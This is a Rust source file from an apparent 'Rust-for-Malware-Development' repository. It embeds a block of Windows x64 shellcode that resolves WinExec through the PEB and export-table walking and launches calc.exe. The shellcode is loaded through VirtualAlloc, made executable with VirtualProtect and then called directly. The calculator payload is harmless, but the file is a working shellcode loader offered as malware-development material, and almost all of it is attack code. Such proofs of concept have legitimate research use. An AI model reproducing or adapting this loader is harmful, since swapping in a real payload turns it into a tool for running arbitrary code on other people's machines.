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smukx-Rust-for-Malware-Deve…/Custom_Shellcode/calc_shellcode4.rs
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Whitecat18 28e7fac1d3 Upload 
Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods
2026-06-06 14:53:10 +05:30

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9.4 KiB
Rust
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/*
Windows x64 Calc.exe Shellcode
*/
use std::ptr::null_mut;
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
fn main() -> std::io::Result<()> {
let shellcode: [u8; 1342] = [
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x66, 0x9C, 0x50, 0x51, 0x52, 0x53, 0x55, 0x56, 0x57, 0x41, 0x50, 0x41, 0x51, 0x41,
0x52, 0x41, 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0xE8, 0x1F, 0x00,
0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x41, 0x5B, 0x41, 0x5A,
0x41, 0x59, 0x41, 0x58, 0x5F, 0x5E, 0x5D, 0x5B, 0x5A, 0x59, 0x58, 0x66, 0x9D, 0xFF,
0x25, 0xBB, 0xFF, 0xFF, 0xFF, 0x56, 0x48, 0x8B, 0xF4, 0x48, 0x83, 0xE4, 0xF0, 0x48,
0x83, 0xEC, 0x20, 0xE8, 0x05, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xE6, 0x5E, 0xC3, 0x48,
0x83, 0xEC, 0x38, 0xE8, 0x20, 0x00, 0x00, 0x00, 0x6B, 0x00, 0x65, 0x00, 0x72, 0x00,
0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x2E, 0x00, 0x64, 0x00,
0x6C, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xE8,
0x8F, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x83, 0x7C, 0x24, 0x20,
0x00, 0x75, 0x07, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xEB, 0x46, 0xE8, 0x08, 0x00, 0x00,
0x00, 0x57, 0x69, 0x6E, 0x45, 0x78, 0x65, 0x63, 0x00, 0x5A, 0x48, 0x8B, 0x4C, 0x24,
0x20, 0xE8, 0x33, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x83, 0x7C,
0x24, 0x28, 0x00, 0x75, 0x07, 0xB8, 0x04, 0x00, 0x00, 0x00, 0xEB, 0x1A, 0xBA, 0x01,
0x00, 0x00, 0x00, 0xE8, 0x09, 0x00, 0x00, 0x00, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65,
0x78, 0x65, 0x00, 0x59, 0xFF, 0x54, 0x24, 0x28, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x38,
0xC3, 0x48, 0x89, 0x54, 0x24, 0x10, 0x48, 0x89, 0x4C, 0x24, 0x08, 0x48, 0x83, 0xEC,
0x78, 0x48, 0x8B, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30,
0x48, 0x8B, 0x44, 0x24, 0x30, 0x0F, 0xB7, 0x00, 0x3D, 0x4D, 0x5A, 0x00, 0x00, 0x74,
0x07, 0x33, 0xC0, 0xE9, 0xFA, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x48,
0x63, 0x40, 0x3C, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8,
0x48, 0x8B, 0xC1, 0x48, 0x89, 0x44, 0x24, 0x40, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48,
0x6B, 0xC0, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x40, 0x48, 0x8D, 0x84, 0x01, 0x88, 0x00,
0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8B, 0x44, 0x24, 0x38, 0x83, 0x38,
0x00, 0x75, 0x07, 0x33, 0xC0, 0xE9, 0xB2, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24,
0x38, 0x8B, 0x00, 0x89, 0x44, 0x24, 0x18, 0x8B, 0x44, 0x24, 0x18, 0x48, 0x03, 0x84,
0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0x8B, 0x44, 0x24,
0x10, 0x8B, 0x40, 0x18, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8B, 0x44, 0x24, 0x10,
0x8B, 0x40, 0x1C, 0x89, 0x44, 0x24, 0x24, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x8B, 0x40,
0x20, 0x89, 0x44, 0x24, 0x1C, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x8B, 0x40, 0x24, 0x89,
0x44, 0x24, 0x20, 0x48, 0xC7, 0x44, 0x24, 0x08, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0D,
0x48, 0x8B, 0x44, 0x24, 0x08, 0x48, 0xFF, 0xC0, 0x48, 0x89, 0x44, 0x24, 0x08, 0x48,
0x8B, 0x44, 0x24, 0x48, 0x48, 0x39, 0x44, 0x24, 0x08, 0x0F, 0x83, 0x3B, 0x01, 0x00,
0x00, 0x8B, 0x44, 0x24, 0x1C, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48,
0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x48, 0x8D, 0x04, 0x88,
0x48, 0x89, 0x44, 0x24, 0x58, 0x8B, 0x44, 0x24, 0x20, 0x48, 0x8B, 0x8C, 0x24, 0x80,
0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x8B, 0x4C, 0x24, 0x08,
0x48, 0x8D, 0x04, 0x48, 0x48, 0x89, 0x44, 0x24, 0x50, 0x8B, 0x44, 0x24, 0x24, 0x48,
0x8B, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48,
0x8B, 0x4C, 0x24, 0x50, 0x0F, 0xB7, 0x09, 0x48, 0x8D, 0x04, 0x88, 0x48, 0x89, 0x44,
0x24, 0x60, 0x48, 0x8B, 0x44, 0x24, 0x58, 0x8B, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x80,
0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x44, 0x24, 0x28,
0x48, 0xC7, 0x04, 0x24, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0B, 0x48, 0x8B, 0x04, 0x24,
0x48, 0xFF, 0xC0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x8B, 0x04, 0x24, 0x48, 0x8B, 0x8C,
0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x0F, 0xBE, 0x00,
0x85, 0xC0, 0x74, 0x45, 0x48, 0x8B, 0x04, 0x24, 0x48, 0x8B, 0x4C, 0x24, 0x28, 0x48,
0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x0F, 0xBE, 0x00, 0x85, 0xC0, 0x74, 0x2F, 0x48, 0x8B,
0x04, 0x24, 0x48, 0x8B, 0x8C, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48,
0x8B, 0xC1, 0x0F, 0xBE, 0x00, 0x48, 0x8B, 0x0C, 0x24, 0x48, 0x8B, 0x54, 0x24, 0x28,
0x48, 0x03, 0xD1, 0x48, 0x8B, 0xCA, 0x0F, 0xBE, 0x09, 0x3B, 0xC1, 0x74, 0x02, 0xEB,
0x02, 0xEB, 0x97, 0x48, 0x8B, 0x04, 0x24, 0x48, 0x8B, 0x8C, 0x24, 0x88, 0x00, 0x00,
0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x0F, 0xBE, 0x00, 0x85, 0xC0, 0x75, 0x2D,
0x48, 0x8B, 0x04, 0x24, 0x48, 0x8B, 0x4C, 0x24, 0x28, 0x48, 0x03, 0xC8, 0x48, 0x8B,
0xC1, 0x0F, 0xBE, 0x00, 0x85, 0xC0, 0x75, 0x17, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x8B,
0x00, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B,
0xC1, 0xEB, 0x07, 0xE9, 0xA8, 0xFE, 0xFF, 0xFF, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x78,
0xC3, 0x48, 0x89, 0x4C, 0x24, 0x08, 0x48, 0x83, 0xEC, 0x58, 0x65, 0x48, 0x8B, 0x04,
0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8B, 0x44, 0x24,
0x40, 0x48, 0x8B, 0x40, 0x18, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8B, 0x44, 0x24,
0x48, 0x48, 0x83, 0xC0, 0x20, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8B, 0x44, 0x24,
0x38, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0xEB, 0x0D, 0x48, 0x8B, 0x44,
0x24, 0x30, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8B, 0x44, 0x24,
0x38, 0x48, 0x39, 0x44, 0x24, 0x30, 0x0F, 0x84, 0xBF, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x44, 0x24, 0x30, 0x48, 0x83, 0xE8, 0x10, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x83,
0x7C, 0x24, 0x28, 0x00, 0x74, 0x0C, 0x48, 0x8B, 0x44, 0x24, 0x28, 0x48, 0x83, 0x78,
0x30, 0x00, 0x75, 0x05, 0xE9, 0x98, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x28,
0x48, 0x8B, 0x40, 0x60, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0x83, 0x7C, 0x24, 0x10,
0x00, 0x75, 0x02, 0xEB, 0xA4, 0x48, 0xC7, 0x04, 0x24, 0x00, 0x00, 0x00, 0x00, 0xEB,
0x0B, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xFF, 0xC0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x8B,
0x44, 0x24, 0x28, 0x0F, 0xB7, 0x40, 0x58, 0x48, 0x39, 0x04, 0x24, 0x0F, 0x83, 0x26,
0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7,
0x04, 0x48, 0x85, 0xC0, 0x74, 0x11, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C,
0x24, 0x0F, 0xB7, 0x04, 0x48, 0x85, 0xC0, 0x75, 0x05, 0xE9, 0xFF, 0x00, 0x00, 0x00,
0x48, 0x8B, 0x44, 0x24, 0x60, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x83,
0xF8, 0x5A, 0x7F, 0x47, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48, 0x8B, 0x0C, 0x24, 0x0F,
0xB7, 0x04, 0x48, 0x83, 0xF8, 0x41, 0x7C, 0x35, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48,
0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x83, 0xE8, 0x41, 0x83, 0xC0, 0x61, 0x89,
0x44, 0x24, 0x20, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7,
0x54, 0x24, 0x20, 0x66, 0x89, 0x14, 0x48, 0x0F, 0xB7, 0x44, 0x24, 0x20, 0x66, 0x89,
0x44, 0x24, 0x08, 0xEB, 0x12, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48, 0x8B, 0x0C, 0x24,
0x0F, 0xB7, 0x04, 0x48, 0x66, 0x89, 0x44, 0x24, 0x08, 0x0F, 0xB7, 0x44, 0x24, 0x08,
0x66, 0x89, 0x44, 0x24, 0x18, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C, 0x24,
0x0F, 0xB7, 0x04, 0x48, 0x83, 0xF8, 0x5A, 0x7F, 0x47, 0x48, 0x8B, 0x44, 0x24, 0x10,
0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x83, 0xF8, 0x41, 0x7C, 0x35, 0x48,
0x8B, 0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x83, 0xE8,
0x41, 0x83, 0xC0, 0x61, 0x89, 0x44, 0x24, 0x24, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x48,
0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x54, 0x24, 0x24, 0x66, 0x89, 0x14, 0x48, 0x0F, 0xB7,
0x44, 0x24, 0x24, 0x66, 0x89, 0x44, 0x24, 0x0A, 0xEB, 0x12, 0x48, 0x8B, 0x44, 0x24,
0x10, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x66, 0x89, 0x44, 0x24, 0x0A,
0x0F, 0xB7, 0x44, 0x24, 0x0A, 0x66, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xB7, 0x44, 0x24,
0x18, 0x0F, 0xB7, 0x4C, 0x24, 0x1C, 0x3B, 0xC1, 0x74, 0x02, 0xEB, 0x05, 0xE9, 0xBC,
0xFE, 0xFF, 0xFF, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7,
0x04, 0x48, 0x85, 0xC0, 0x75, 0x1C, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C,
0x24, 0x0F, 0xB7, 0x04, 0x48, 0x85, 0xC0, 0x75, 0x0B, 0x48, 0x8B, 0x44, 0x24, 0x28,
0x48, 0x8B, 0x40, 0x30, 0xEB, 0x07, 0xE9, 0x24, 0xFE, 0xFF, 0xFF, 0x33, 0xC0, 0x48,
0x83, 0xC4, 0x58, 0xC3,
];
unsafe {
let mem = VirtualAlloc(null_mut(), shellcode.len(), 0x1000 | 0x2000, 0x04);
if mem.is_null() {
return Err(std::io::Error::last_os_error());
}
std::ptr::copy_nonoverlapping(shellcode.as_ptr(), mem as *mut u8, shellcode.len());
let mut old_protect = 0;
let result = VirtualProtect(mem, shellcode.len(), 0x40, &mut old_protect);
if result == 0 {
return Err(std::io::Error::last_os_error());
}
let func: extern "C" fn() = std::mem::transmute(mem);
func();
}
Ok(())
}
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